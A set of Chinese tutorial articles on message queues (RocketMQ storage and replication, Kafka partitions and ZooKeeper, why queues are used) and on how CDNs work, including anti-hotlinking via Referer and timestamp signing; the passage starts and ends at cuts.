中就是使用的上述的事务反查来解决的,而在 Kafka 中通常是直接抛出一个异常让用户来自行解决。你还需要注意的是,在 MQ Server 指向系统B的操作已经和系统A不相关了,也就是说在消息队列中的分布式事务是——本地事务和存储消息到消息队列才是同一个事务。这样也就产生了事务的最终一致性,因为整个过程是异步的,每个系统只要保证它自己那一部分的事务就行了。消息堆积问题在上面我们提到了消息队列一个很重要的功能——削峰 。那么如果这个峰值太大了导致消息堆积在队列中怎么办呢?其实这个问题可以将它广义化,因为产生消息堆积的根源其实就只有两个——生产者生产太快或者消费者消费太慢。我们可以从多个角度去思考解决这个问题,当流量到峰值的时候是因为生产者生产太快,我们可以使用一些 限流降级 的方法,当然你也可以增加多个消费者实例去水平扩展增加消费能力来匹配生产的激增。如果消费者消费过慢的话,我们可以先检查 是否是消费者出现了大量的消费错误 ,或者打印一下日志查看是否是哪一个线程卡死,出现了锁资源不释放等等的问题。当然,最快速解决消息堆积问题的方法还是增加消费者实例,不过 同时你还需要增加每个主题的队列数量 。别忘了在 RocketMQ 中,一个队列只会被一个消费者消费 ,如果你仅仅是增加消费者实例就会出现我一开始给你画架构图的那种情况。回溯消费回溯消费是指 Consumer 已经消费成功的消息,由于业务上需求需要重新消费,在RocketMQ 中, Broker 在向Consumer 投递成功消息后,消息仍然需要保留 。并且重新消费一般是按照时间维度,例如由于 Consumer 系统故障,恢复后需要重新消费1小时前的数据,那么 Broker 要提供一种机制,可以按照时间维度来回退消费进度。RocketMQ 支持按照时间回溯消费,时间维度精确到毫秒。这是官方文档的解释,我直接照搬过来就当科普了😁😁😁RocketMQ 的刷盘机制上面我讲了那么多的 RocketMQ 的架构和设计原理,你有没有好奇在 Topic 中的 队列是以什么样的形式存在的?队列中的消息又是如何进行存储持久化的呢?我在上文中提到的 同步刷盘 和 异步刷盘 又是什么呢?它们会给持久化带来什么样的影响呢?下面我将给你们一一解释同步刷盘和异步刷盘如上图所示,在同步刷盘中需要等待一个刷盘成功的 ACK ,同步刷盘对 MQ 消息可靠性来说是一种不错的保障,但是 性能上会有较大影响 ,一般地适用于金融等特定业务场景。而异步刷盘往往是开启一个线程去异步地执行刷盘操作。消息刷盘采用后台异步线程提交的方式进行, 降低了读写延迟 ,提高了 MQ 的性能和吞吐量,一般适用于如发验证码等对于消息保证要求不太高的业务场景一般地,异步刷盘只有在 Broker 意外宕机的时候会丢失部分数据,你可以设置 Broker 的参数 FlushDiskType 来调整你的刷盘策略(ASYNC_FLUSH 或者 SYNC_FLUSH)。同步复制和异步复制上面的同步刷盘和异步刷盘是在单个结点层面的,而同步复制和异步复制主要是指的 Borker 主从模式下,主节点返回消息给客户端的时候是否需要同步从节点。同步复制: 也叫 “同步双写”,也就是说,只有消息同步双写到主从节点上时才返回写入成功 。异步复制: 消息写入主节点之后就直接返回写入成功 。然而,很多事情是没有完美的方案的,就比如我们进行消息写入的节点越多就更能保证消息的可靠性,但是随之的性能也会下降,所以需要程序员根据特定业务场景去选择适应的主从复制方案。那么,异步复制会不会也像异步刷盘那样影响消息的可靠性呢?答案是不会的,因为两者就是不同的概念,对于消息可靠性是通过不同的刷盘策略保证的,而像异步同步复制策略仅仅是影响到了 可用性 。为什么呢?其主要原因是 RocketMQ 是不支持自动主从切换的,当主节点挂掉之后,生产者就不能再给这个主节点生产消息了。比如这个时候采用异步复制的方式,在主节点还未发送完需要同步的消息的时候主节点挂掉了,这个时候从节点就少了一部分消息。但是此时生产者无法再给主节点生产消息了,消费者可以自动切换到从节点进行消费(仅仅是消费),所以在主节点挂掉的时间只会产生主从结点短暂的消息不一致的情况,降低了可用性,而当主节点重启之后,从节点那部分未来得及复制的消息还会继续复制。在单主从架构中,如果一个主节点挂掉了,那么也就意味着整个系统不能再生产了。那么这个可用性的问题能否解决呢?一个主从不行那就多个主从的呗,别忘了在我们最初的架构图中,每个 Topic 是分布在不同 Broker 中的。但是这种复制方式同样也会带来一个问题,那就是无法保证 严格顺序 。在上文中我们提到了如何保证的消息顺序性是通过将一个语义的消息发送在同一个队列中,使用 Topic 下的队列来保证顺序性的。如果此时我们主节点A负责的是订单A的一系列语义消息,然后它挂了,这样其他节点是无法代替主节点A的,如果我们任意节点都可以存入任何消息,那就没有顺序性可言了而在 RocketMQ 中采用了 Dledger 解决这个问题。他要求在写入消息的时候,要求至少消息复制到半数以上的节点之后,才给客⼾端返回写⼊成功,并且它是⽀持通过选举来动态切换主节点的。这里我就不展开说明了,读者可以自己去了解也不是说 Dledger 是个完美的方案,至少在 Dledger 选举过程中是无法提供服务的,而且他必须要使用三个节点或以上,如果多数节点同时挂掉他也是无法保证可用性的,而且要求消息复制半数以上节点的效率和直接异步复制还是有一定的差距的。存储机制还记得上面我们一开始的三个问题吗?到这里第三个问题已经解决了。但是,在 Topic 中的 队列是以什么样的形式存在的?队列中的消息又是如何进行存储持久化的呢? 还未解决,其实这里涉及到了 RocketMQ 是如何设计它的存储结构了。我首先想大家介绍 RocketMQ 消息存储架构中的三大角色——CommitLog 、ConsumeQueue 和 IndexFile 。CommitLog: 消息主体以及元数据的存储主体,存储 Producer 端写入的消息主体内容,消息内容不是定长的。单个文件大小默认1G ,文件名长度为20位,左边补零,剩余为起始偏移量,比如00000000000000000000代表了第一个文件,起始偏移量为0,文件大小为1G=1073741824;当第一个文件写满了,第二个文件为00000000001073741824,起始偏移量为1073741824,以此类推。消息主要是顺序写入日志文件,当文件满了,写入下一个文件。ConsumeQueue: 消息消费队列,引入的目的主要是提高消息消费的性能(我们再前面也讲了),由于RocketMQ 是基于主题 Topic 的订阅模式,消息消费是针对主题进行的,如果要遍历 commitlog 文件中根据 Topic 检索消息是非常低效的。Consumer 即可根据 ConsumeQueue 来查找待消费的消息。其中,ConsumeQueue(逻辑消费队列)作为消费消息的索引,保存了指定 Topic 下的队列消息在 CommitLog 中的起始物理偏移量 offset ,消息大小 size 和消息 Tag 的 HashCode 值。consumequeue 文件可以看成是基于 topic 的 commitlog 索引文件,故 consumequeue 文件夹的组织方式如下:topic/queue/file三层组织结构,具体存储路径为:$HOME/store/consumequeue/{topic}/{queueId}/{fileName}。同样 consumequeue 文件采取定长设计,每一个条目共20个字节,分别为8字节的 commitlog 物理偏移量、4字节的消息长度、8字节tag hashcode,单个文件由30W个条目组成,可以像数组一样随机访问每一个条目,每个 ConsumeQueue文件大小约5.72M;IndexFile: IndexFile(索引文件)提供了一种可以通过key或时间区间来查询消息的方法。这里只做科普不做详细介绍。总结来说,整个消息存储的结构,最主要的就是 CommitLoq 和 ConsumeQueue 。而 ConsumeQueue 你可以大概理解为 Topic 中的队列RocketMQ 采用的是 混合型的存储结构 ,即为 Broker 单个实例下所有的队列共用一个日志数据文件来存储消息。有意思的是在同样高并发的 Kafka 中会为每个 Topic 分配一个存储文件。这就有点类似于我们有一大堆书需要装上书架,RockeMQ 是不分书的种类直接成批的塞上去的,而 Kafka 是将书本放入指定的分类区域的。而 RocketMQ 为什么要这么做呢?原因是 提高数据的写入效率 ,不分 Topic 意味着我们有更大的几率获取 成批 的消息进行数据写入,但也会带来一个麻烦就是读取消息的时候需要遍历整个大文件,这是非常耗时的。所以,在 RocketMQ 中又使用了 ConsumeQueue 作为每个队列的索引文件来 提升读取消息的效率。我们可以直接根据队列的消息序号,计算出索引的全局位置(索引序号*索引固定⻓度20),然后直接读取这条索引,再根据索引中记录的消息的全局位置,找到消息。讲到这里,你可能对 RockeMQ 的存储架构还有些模糊,没事,我们结合着图来理解一下emmm,是不是有一点复杂🤣,看英文图片和英文文档的时候就不要怂,硬着头皮往下看就行。如果上面没看懂的读者一定要认真看下面的流程分析!首先,在最上面的那一块就是我刚刚讲的你现在可以直接 把 ConsumerQueue 理解为 Queue。在图中最左边说明了红色方块代表被写入的消息,虚线方块代表等待被写入的。左边的生产者发送消息会指定 Topic 、QueueId 和具体消息内容,而在 Broker 中管你是哪门子消息,他直接 全部顺序存储到了 CommitLog。而根据生产者指定的 Topic 和 QueueId 将这条消息本身在 CommitLog 的偏移(offset),消息本身大小,和tag的hash值存入对应的 ConsumeQueue 索引文件中。而在每个队列中都保存了 ConsumeOffset 即每个消费者组的消费位置(我在架构那里提到了,忘了的同学可以回去看一下),而消费者拉取消息进行消费的时候只需要根据 ConsumeOffset 获取下一个未被消费的消息就行了。上述就是我对于整个消息存储架构的大概理解(这里不涉及到一些细节讨论,比如稀疏索引等等问题),希望对你有帮助。因为有一个知识点因为写嗨了忘讲了,想想在哪里加也不好,所以我留给大家去思考🤔🤔一下吧为什么 CommitLog 文件要设计成固定大小的长度呢?提醒:内存映射机制;
消息队列顾名思义就是存放消息的队列,队列我就不解释了,别告诉我你连队列都不知道是啥吧?所以问题并不是消息队列是什么,而是 消息队列为什么会出现?消息队列能用来干什么?用它来干这些事会带来什么好处?消息队列会带来副作用吗?消息队列为什么会出现?消息队列算是作为后端程序员的一个必备技能吧,因为分布式应用必定涉及到各个系统之间的通信问题,这个时候消息队列也应运而生了。可以说分布式的产生是消息队列的基础,而分布式怕是一个很古老的概念了吧,所以消息队列也是一个很古老的中间件了。消息队列能用来干什么?异步你可能会反驳我,应用之间的通信又不是只能由消息队列解决,好好的通信为什么中间非要插一个消息队列呢?我不能直接进行通信吗?很好👍,你又提出了一个概念,同步通信。就比如现在业界使用比较多的 Dubbo 就是一个适用于各个系统之间同步通信的 RPC 框架。我来举个🌰吧,比如我们有一个购票系统,需求是用户在购买完之后能接收到购买完成的短信。我们省略中间的网络通信时间消耗,假如购票系统处理需要 150ms ,短信系统处理需要 200ms ,那么整个处理流程的时间消耗就是 150ms + 200ms = 350ms。当然,乍看没什么问题。可是仔细一想你就感觉有点问题,我用户购票在购票系统的时候其实就已经完成了购买,而我现在通过同步调用非要让整个请求拉长时间,而短信系统这玩意又不是很有必要,它仅仅是一个辅助功能增强用户体验感而已。我现在整个调用流程就有点 头重脚轻 的感觉了,购票是一个不太耗时的流程,而我现在因为同步调用,非要等待发送短信这个比较耗时的操作才返回结果。那我如果再加一个发送邮件呢?这样整个系统的调用链又变长了,整个时间就变成了550ms。当我们在学生时代需要在食堂排队的时候,我们和食堂大妈就是一个同步的模型。我们需要告诉食堂大妈:“姐姐,给我加个鸡腿,再加个酸辣土豆丝,帮我浇点汁上去,多打点饭哦😋😋😋” 咦~~~ 为了多吃点,真恶心。然后大妈帮我们打饭配菜,我们看着大妈那颤抖的手和掉落的土豆丝不禁咽了咽口水。最终我们从大妈手中接过饭菜然后去寻找座位了...回想一下,我们在给大妈发送需要的信息之后我们是 同步等待大妈给我配好饭菜 的,上面我们只是加了鸡腿和土豆丝,万一我再加一个番茄牛腩,韭菜鸡蛋,这样是不是大妈打饭配菜的流程就会变长,我们等待的时间也会相应的变长。那后来,我们工作赚钱了有钱去饭店吃饭了,我们告诉服务员来一碗牛肉面加个荷包蛋 (传达一个消息) ,然后我们就可以在饭桌上安心的玩手机了 (干自己其他事情) ,等到我们的牛肉面上了我们就可以吃了。这其中我们也就传达了一个消息,然后我们又转过头干其他事情了。这其中虽然做面的时间没有变短,但是我们只需要传达一个消息就可以干其他事情了,这是一个 异步 的概念。所以,为了解决这一个问题,聪明的程序员在中间也加了个类似于服务员的中间件——消息队列。这个时候我们就可以把模型给改造了。这样,我们在将消息存入消息队列之后我们就可以直接返回了(我们告诉服务员我们要吃什么然后玩手机),所以整个耗时只是 150ms + 10ms = 160ms。但是你需要注意的是,整个流程的时长是没变的,就像你仅仅告诉服务员要吃什么是不会影响到做面的速度的。解耦回到最初同步调用的过程,我们写个伪代码简单概括一下。那么第二步,我们又添加了一个发送邮件,我们就得重新去修改代码,如果我们又加一个需求:用户购买完还需要给他加积分,这个时候我们是不是又得改代码?如果你觉得还行,那么我这个时候不要发邮件这个服务了呢,我是不是又得改代码,又得重启应用?这样改来改去是不是很麻烦,那么 此时我们就用一个消息队列在中间进行解耦 。你需要注意的是,我们后面的发送短信、发送邮件、添加积分等一些操作都依赖于上面的 result ,这东西抽象出来就是购票的处理结果呀,比如订单号,用户账号等等,也就是说我们后面的一系列服务都是需要同样的消息来进行处理。既然这样,我们是不是可以通过 “广播消息” 来实现。我上面所讲的“广播”并不是真正的广播,而是接下来的系统作为消费者去 订阅 特定的主题。比如我们这里的主题就可以叫做 订票 ,我们购买系统作为一个生产者去生产这条消息放入消息队列,然后消费者订阅了这个主题,会从消息队列中拉取消息并消费。就比如我们刚刚画的那张图,你会发现,在生产者这边我们只需要关注 生产消息到指定主题中 ,而 消费者只需要关注从指定主题中拉取消息 就行了。如果没有消息队列,每当一个新的业务接入,我们都要在主系统调用新接口、或者当我们取消某些业务,我们也得在主系统删除某些接口调用。有了消息队列,我们只需要关心消息是否送达了队列,至于谁希望订阅,接下来收到消息如何处理,是下游的事情,无疑极大地减少了开发和联调的工作量。削峰我们再次回到一开始我们使用同步调用系统的情况,并且思考一下,如果此时有大量用户请求购票整个系统会变成什么样?如果,此时有一万的请求进入购票系统,我们知道运行我们主业务的服务器配置一般会比较好,所以这里我们假设购票系统能承受这一万的用户请求,那么也就意味着我们同时也会出现一万调用发短信服务的请求。而对于短信系统来说并不是我们的主要业务,所以我们配备的硬件资源并不会太高,那么你觉得现在这个短信系统能承受这一万的峰值么,且不说能不能承受,系统会不会 直接崩溃 了?短信业务又不是我们的主业务,我们能不能 折中处理 呢?如果我们把购买完成的信息发送到消息队列中,而短信系统 尽自己所能地去消息队列中取消息和消费消息 ,即使处理速度慢一点也无所谓,只要我们的系统没有崩溃就行了。留得江山在,还怕没柴烧?你敢说每次发送验证码的时候是一发你就收到了的么?消息队列能带来什么好处?其实上面我已经说了。异步、解耦、削峰。 哪怕你上面的都没看懂也千万要记住这六个字,因为他不仅是消息队列的精华,更是编程和架构的精华。消息队列会带来副作用吗?没有哪一门技术是“银弹”,消息队列也有它的副作用。比如,本来好好的两个系统之间的调用,我中间加了个消息队列,如果消息队列挂了怎么办呢?是不是 降低了系统的可用性 ?那这样是不是要保证HA(高可用)?是不是要搞集群?那么我 整个系统的复杂度是不是上升了 ?抛开上面的问题不讲,万一我发送方发送失败了,然后执行重试,这样就可能产生重复的消息。或者我消费端处理失败了,请求重发,这样也会产生重复的消息。对于一些微服务来说,消费重复消息会带来更大的麻烦,比如增加积分,这个时候我加了多次是不是对其他用户不公平?那么,又 如何解决重复消费消息的问题 呢?如果我们此时的消息需要保证严格的顺序性怎么办呢?比如生产者生产了一系列的有序消息(对一个id为1的记录进行删除增加修改),但是我们知道在发布订阅模型中,对于主题是无顺序的,那么这个时候就会导致对于消费者消费消息的时候没有按照生产者的发送顺序消费,比如这个时候我们消费的顺序为修改删除增加,如果该记录涉及到金额的话是不是会出大事情?那么,又 如何解决消息的顺序消费问题 呢?就拿我们上面所讲的分布式系统来说,用户购票完成之后是不是需要增加账户积分?在同一个系统中我们一般会使用事务来进行解决,如果用 Spring 的话我们在上面伪代码中加入 @Transactional 注解就好了。但是在不同系统中如何保证事务呢?总不能这个系统我扣钱成功了你那积分系统积分没加吧?或者说我这扣钱明明失败了,你那积分系统给我加了积分。那么,又如何 解决分布式事务问题 呢?我们刚刚说了,消息队列可以进行削峰操作,那如果我的消费者如果消费很慢或者生产者生产消息很快,这样是不是会将消息堆积在消息队列中?那么,又如何 解决消息堆积的问题 呢?可用性降低,复杂度上升,又带来一系列的重复消费,顺序消费,分布式事务,消息堆积的问题,这消息队列还怎么用啊😵?别急,办法总是有的。
Kafka 是一个分布式流式处理平台。这到底是什么意思呢?流平台具有三个关键功能:消息队列:发布和订阅消息流,这个功能类似于消息队列,这也是 Kafka 也被归类为消息队列的原因。容错的持久方式存储记录消息流: Kafka 会把消息持久化到磁盘,有效避免了消息丢失的风险。流式处理平台: 在消息发布的时候进行处理,Kafka 提供了一个完整的流式处理类库。Kafka 主要有两大应用场景:消息队列 :建立实时流数据管道,以可靠地在系统或应用程序之间获取数据。数据处理: 构建实时的流数据处理程序来转换或处理数据流。和其他消息队列相比,Kafka的优势在哪里?我们现在经常提到 Kafka 的时候就已经默认它是一个非常优秀的消息队列了,我们也会经常拿它跟 RocketMQ、RabbitMQ 对比。我觉得 Kafka 相比其他消息队列主要的优势如下:极致的性能 :基于 Scala 和 Java 语言开发,设计中大量使用了批量处理和异步的思想,最高可以每秒处理千万级别的消息。生态系统兼容性无可匹敌 :Kafka 与周边生态系统的兼容性是最好的没有之一,尤其在大数据和流计算领域。实际上在早期的时候 Kafka 并不是一个合格的消息队列,早期的 Kafka 在消息队列领域就像是一个衣衫褴褛的孩子一样,功能不完备并且有一些小问题比如丢失消息、不保证消息可靠性等等。当然,这也和 LinkedIn 最早开发 Kafka 用于处理海量的日志有很大关系,哈哈哈,人家本来最开始就不是为了作为消息队列滴,谁知道后面误打误撞在消息队列领域占据了一席之地。随着后续的发展,这些短板都被 Kafka 逐步修复完善。所以,Kafka 作为消息队列不可靠这个说法已经过时!队列模型了解吗?Kafka 的消息模型知道吗?题外话:早期的 JMS 和 AMQP 属于消息服务领域权威组织所做的相关的标准,我在 JavaGuideopen in new window的 《消息队列其实很简单》open in new window这篇文章中介绍过。但是,这些标准的进化跟不上消息队列的演进速度,这些标准实际上已经属于废弃状态。所以,可能存在的情况是:不同的消息队列都有自己的一套消息模型。队列模型:早期的消息模型使用队列(Queue)作为消息通信载体,满足生产者与消费者模式,一条消息只能被一个消费者使用,未被消费的消息在队列中保留直到被消费或超时。 比如:我们生产者发送 100 条消息的话,两个消费者来消费一般情况下两个消费者会按照消息发送的顺序各自消费一半(也就是你一个我一个的消费。)队列模型存在的问题:假如我们存在这样一种情况:我们需要将生产者产生的消息分发给多个消费者,并且每个消费者都能接收到完整的消息内容。这种情况,队列模型就不好解决了。很多比较杠精的人就说:我们可以为每个消费者创建一个单独的队列,让生产者发送多份。这是一种非常愚蠢的做法,浪费资源不说,还违背了使用消息队列的目的。发布-订阅模型:Kafka 消息模型发布-订阅模型主要是为了解决队列模型存在的问题。发布订阅模型(Pub-Sub) 使用主题(Topic) 作为消息通信载体,类似于广播模式;发布者发布一条消息,该消息通过主题传递给所有的订阅者,在一条消息广播之后才订阅的用户则是收不到该条消息的。在发布 - 订阅模型中,如果只有一个订阅者,那它和队列模型就基本是一样的了。所以说,发布 - 订阅模型在功能层面上是可以兼容队列模型的。Kafka 采用的就是发布 - 订阅模型。RocketMQ 的消息模型和 Kafka 基本是完全一样的。唯一的区别是 Kafka 中没有队列这个概念,与之对应的是 Partition(分区)。什么是Producer、Consumer、Broker、Topic、Partition?Kafka 将生产者发布的消息发送到 Topic(主题) 中,需要这些消息的消费者可以订阅这些 Topic(主题),如下图所示:上面这张图也为我们引出了,Kafka 比较重要的几个概念:Producer(生产者) : 产生消息的一方。Consumer(消费者) : 消费消息的一方。Broker(代理) : 可以看作是一个独立的 Kafka 实例。多个 Kafka Broker 组成一个 Kafka Cluster。同时,你一定也注意到每个 Broker 中又包含了 Topic 以及 Partition 这两个重要的概念:Topic(主题) : Producer 将消息发送到特定的主题,Consumer 通过订阅特定的 Topic(主题) 来消费消息。Partition(分区) : Partition 属于 Topic 的一部分。一个 Topic 可以有多个 Partition ,并且同一 Topic 下的 Partition 可以分布在不同的 Broker 上,这也就表明一个 Topic 可以横跨多个 Broker 。这正如我上面所画的图一样。划重点:Kafka 中的 Partition(分区) 实际上可以对应成为消息队列中的队列。这样是不是更好理解一点?Kafka 的多副本机制了解吗?带来了什么好处?还有一点我觉得比较重要的是 Kafka 为分区(Partition)引入了多副本(Replica)机制。分区(Partition)中的多个副本之间会有一个叫做 leader 的家伙,其他副本称为 follower。我们发送的消息会被发送到 leader 副本,然后 follower 副本才能从 leader 副本中拉取消息进行同步。生产者和消费者只与 leader 副本交互。你可以理解为其他副本只是 leader 副本的拷贝,它们的存在只是为了保证消息存储的安全性。当 leader 副本发生故障时会从 follower 中选举出一个 leader,但是 follower 中如果有和 leader 同步程度达不到要求的参加不了 leader 的竞选。Kafka 的多分区(Partition)以及多副本(Replica)机制有什么好处呢?Kafka 通过给特定 Topic 指定多个 Partition, 而各个 Partition 可以分布在不同的 Broker 上, 这样便能提供比较好的并发能力(负载均衡)。Partition 可以指定对应的 Replica 数, 这也极大地提高了消息存储的安全性, 提高了容灾能力,不过也相应的增加了所需要的存储空间。Zookeeper 在 Kafka 中的作用知道吗?要想搞懂 zookeeper 在 Kafka 中的作用 一定要自己搭建一个 Kafka 环境然后自己进 zookeeper 去看一下有哪些文件夹和 Kafka 有关,每个节点又保存了什么信息。 一定不要光看不实践,这样学来的也终会忘记!这部分内容参考和借鉴了这篇文章:https://www.jianshu.com/p/a036405f989c 。下图就是我的本地 Zookeeper ,它成功和我本地的 Kafka 关联上(以下文件夹结构借助 idea 插件 Zookeeper tool 实现)。ZooKeeper 主要为 Kafka 提供元数据的管理的功能。从图中我们可以看出,Zookeeper 主要为 Kafka 做了下面这些事情:Broker 注册 :在 Zookeeper 上会有一个专门用来进行 Broker 服务器列表记录的节点。每个 Broker 在启动时,都会到 Zookeeper 上进行注册,即到 /brokers/ids 下创建属于自己的节点。每个 Broker 就会将自己的 IP 地址和端口等信息记录到该节点中去Topic 注册 : 在 Kafka 中,同一个Topic 的消息会被分成多个分区并将其分布在多个 Broker 上,这些分区信息及与 Broker 的对应关系也都是由 Zookeeper 在维护。比如我创建了一个名字为 my-topic 的主题并且它有两个分区,对应到 zookeeper 中会创建这些文件夹:/brokers/topics/my-topic/Partitions/0、/brokers/topics/my-topic/Partitions/1负载均衡 :上面也说过了 Kafka 通过给特定 Topic 指定多个 Partition, 而各个 Partition 可以分布在不同的 Broker 上, 这样便能提供比较好的并发能力。 对于同一个 Topic 的不同 Partition,Kafka 会尽力将这些 Partition 分布到不同的 Broker 服务器上。当生产者产生消息后也会尽量投递到不同 Broker 的 Partition 里面。当 Consumer 消费的时候,Zookeeper 可以根据当前的 Partition 数量以及 Consumer 数量来实现动态负载均衡。......
我们可以把消息队列看作是一个存放消息的容器,当我们需要使用消息的时候,直接从容器中取出消息供自己使用即可。消息队列是分布式系统中重要的组件之一。使用消息队列主要是为了通过异步处理提高系统性能和削峰、降低系统耦合性。我们知道队列 Queue 是一种先进先出的数据结构,所以消费消息时也是按照顺序来消费的。二 为什么要用消息队列通常来说,使用消息队列能为我们的系统带来下面三点好处:通过异步处理提高系统性能(减少响应所需时间)。削峰/限流降低系统耦合性。如果在面试的时候你被面试官问到这个问题的话,一般情况是你在你的简历上涉及到消息队列这方面的内容,这个时候推荐你结合你自己的项目来回答。《大型网站技术架构》第四章和第七章均有提到消息队列对应用性能及扩展性的提升。2.1 通过异步处理提高系统性能(减少响应所需时间)将用户的请求数据存储到消息队列之后就立即返回结果。随后,系统再对消息进行消费。因为用户请求数据写入消息队列之后就立即返回给用户了,但是请求数据在后续的业务校验、写数据库等操作中可能失败。因此,使用消息队列进行异步处理之后,需要适当修改业务流程进行配合,比如用户在提交订单之后,订单数据写入消息队列,不能立即返回用户订单提交成功,需要在消息队列的订单消费者进程真正处理完该订单之后,甚至出库后,再通过电子邮件或短信通知用户订单成功,以免交易纠纷。这就类似我们平时手机订火车票和电影票2.2 削峰/限流先将短时间高并发产生的事务消息存储在消息队列中,然后后端服务再慢慢根据自己的能力去消费这些消息,这样就避免直接把后端服务打垮掉。举例:在电子商务一些秒杀、促销活动中,合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击。如下图所示:2.3 降低系统耦合性使用消息队列还可以降低系统耦合性。我们知道如果模块之间不存在直接调用,那么新增模块或者修改模块就对其他模块影响较小,这样系统的可扩展性无疑更好一些。还是直接上图吧:生产者(客户端)发送消息到消息队列中去,接受者(服务端)处理消息,需要消费的系统直接去消息队列取消息进行消费即可而不需要和其他系统有耦合,这显然也提高了系统的扩展性。消息队列使用发布-订阅模式工作,消息发送者(生产者)发布消息,一个或多个消息接受者(消费者)订阅消息。 从上图可以看到消息发送者(生产者)和消息接受者(消费者)之间没有直接耦合,消息发送者将消息发送至分布式消息队列即结束对消息的处理,消息接受者从分布式消息队列获取该消息后进行后续处理,并不需要知道该消息从何而来。对新增业务,只要对该类消息感兴趣,即可订阅该消息,对原有系统和业务没有任何影响,从而实现网站业务的可扩展性设计。消息接受者对消息进行过滤、处理、包装后,构造成一个新的消息类型,将消息继续发送出去,等待其他消息接受者订阅该消息。因此基于事件(消息对象)驱动的业务架构可以是一系列流程。另外,为了避免消息队列服务器宕机造成消息丢失,会将成功发送到消息队列的消息存储在消息生产者服务器上,等消息真正被消费者服务器处理后才删除消息。在消息队列服务器宕机后,生产者服务器会选择分布式消息队列服务器集群中的其他服务器发布消息。备注: 不要认为消息队列只能利用发布-订阅模式工作,只不过在解耦这个特定业务环境下是使用发布-订阅模式的。除了发布-订阅模式,还有点对点订阅模式(一个消息只有一个消费者),我们比较常用的是发布-订阅模式。另外,这两种消息模型是 JMS 提供的,AMQP 协议还提供了 5 种消息模型。三 使用消息队列带来的一些问题系统可用性降低: 系统可用性在某种程度上降低,为什么这样说呢?在加入 MQ 之前,你不用考虑消息丢失或者说 MQ 挂掉等等的情况,但是,引入 MQ 之后你就需要去考虑了!系统复杂性提高: 加入 MQ 之后,你需要保证消息没有被重复消费、处理消息丢失的情况、保证消息传递的顺序性等等问题!一致性问题: 我上面讲了消息队列可以实现异步,消息队列带来的异步确实可以提高系统响应速度。但是,万一消息的真正消费者并没有正确消费消息怎么办?这样就会导致数据不一致的情况了!
什么是 CDN ?CDN 全称是 Content Delivery Network/Content Distribution Network,翻译过的意思是 内容分发网络 。我们可以将内容分发网络拆开来看:内容 :指的是静态资源比如图片、视频、文档、JS、CSS、HTML。分发网络 :指的是将这些静态资源分发到位于多个不同的地理位置机房中的服务器上,这样,就可以实现静态资源的就近访问比如北京的用户直接访问北京机房的数据。所以,简单来说,CDN 就是将静态资源分发到多个不同的地方以实现就近访问,进而加快静态资源的访问速度,减轻服务器以及带宽的负担。类似于京东建立的庞大的仓储运输体系,京东物流在全国拥有非常多的仓库,仓储网络几乎覆盖全国所有区县。这样的话,用户下单的第一时间,商品就从距离用户最近的仓库,直接发往对应的配送站,再由京东小哥送到你家。你可以将 CDN 看作是服务上一层的特殊缓存服务,分布在全国各地,主要用来处理静态资源的请求;我们经常拿全站加速和内容分发网络做对比,不要把两者搞混了!全站加速(不同云服务商叫法不同,腾讯云叫 ECDN、阿里云叫 DCDN)既可以加速静态资源又可以加速动态资源,内容分发网络(CDN)主要针对的是 静态资源 ;绝大部分公司都会在项目开发中交使用 CDN 服务,但很少会有自建 CDN 服务的公司。基于成本、稳定性和易用性考虑,建议直接选择专业的云厂商(比如阿里云、腾讯云、华为云、青云)或者 CDN 厂商(比如网宿、蓝汛)提供的开箱即用的 CDN 服务。很多朋友可能要问了:既然是就近访问,为什么不直接将服务部署在多个不同的地方呢?成本太高,需要部署多份相同的服务。静态资源通常占用空间比较大且经常会被访问到,如果直接使用服务器或者缓存来处理静态资源请求的话,对系统资源消耗非常大,可能会影响到系统其他服务的正常运行。同一个服务在在多个不同的地方部署多份(比如同城灾备、异地灾备、同城多活、异地多活)是为了实现系统的高可用而不是就近访问CDN 工作原理是什么?搞懂下面 3 个问题也就搞懂了 CDN 的工作原理:静态资源是如何被缓存到 CDN 节点中的?如何找到最合适的 CDN 节点?如何防止静态资源被盗用?静态资源是如何被缓存到 CDN 节点中的?你可以通过预热的方式将源站的资源同步到 CDN 的节点中。这样的话,用户首次请求资源可以直接从 CDN 节点中取,无需回源。这样可以降低源站压力,提升用户体验。如果不预热的话,你访问的资源可能不再 CDN 节点中,这个时候 CDN 节点将请求源站获取资源,这个过程是大家经常说的 回源。命中率 和 回源率 是衡量 CDN 服务质量两个重要指标。命中率越高越好,回源率越低越好。如果资源有更新的话,你也可以对其 刷新 ,删除 CDN 节点上缓存的资源,当用户访问对应的资源时直接回源获取最新的资源,并重新缓存如何找到最合适的 CDN 节点?GSLB (Global Server Load Balance,全局负载均衡)是 CDN 的大脑,负责多个CDN节点之间相互协作,最常用的是基于 DNS 的 GSLB。CDN 会通过 GSLB 找到最合适的 CDN 节点,更具体点来说是下面这样的:浏览器向 DNS 服务器发送域名请求;DNS 服务器向根据 CNAME( Canonical Name ) 别名记录向 GSLB 发送请求;GSLB 返回性能最好(通常距离请求地址最近)的 CDN 节点(边缘服务器,真正缓存内容的地方)的地址给浏览器;浏览器直接访问指定的 CDN 节点。为了方便理解,上图其实做了一点简化。GSLB 内部可以看作是 CDN 专用 DNS 服务器和负载均衡系统组合。CDN 专用 DNS 服务器会返回负载均衡系统 IP 地址给浏览器,浏览器使用 IP 地址请求负载均衡系统进而找到对应的 CDN 节点。GSLB 是如何选择出最合适的 CDN 节点呢? GSLB 会根据请求的 IP 地址、CDN 节点状态(比如负载情况、性能、响应时间、带宽)等指标来综合判断具体返回哪一个 CDN 节点的地址如何防止资源被盗刷?如果我们的资源被其他用户或者网站非法盗刷的话,将会是一笔不小的开支。解决这个问题最常用最简单的办法设置 Referer 防盗链,具体来说就是根据 HTTP 请求的头信息里面的 Referer 字段对请求进行限制。我们可以通过 Referer 字段获取到当前请求页面的来源页面的网站地址,这样我们就能确定请求是否来自合法的网站。CDN 服务提供商几乎都提供了这种比较基础的防盗链机制。不过,如果站点的防盗链配置允许 Referer 为空的话,通过隐藏 Referer,可以直接绕开防盗链。通常情况下,我们会配合其他机制来确保静态资源被盗用,一种常用的机制是 时间戳防盗链 。相比之下,时间戳防盗链 的安全性更强一些。时间戳防盗链加密的 URL 具有时效性,过期之后就无法再被允许访问。时间戳防盗链的 URL 通常会有两个参数一个是签名字符串,一个是过期时间。签名字符串一般是通过对用户设定的加密字符串、请求路径、过期时间通过 MD5 哈希算法取哈希的方式获得。时间戳防盗链 URL示例:http://cdn.wangsu.com/4/123.mp3? 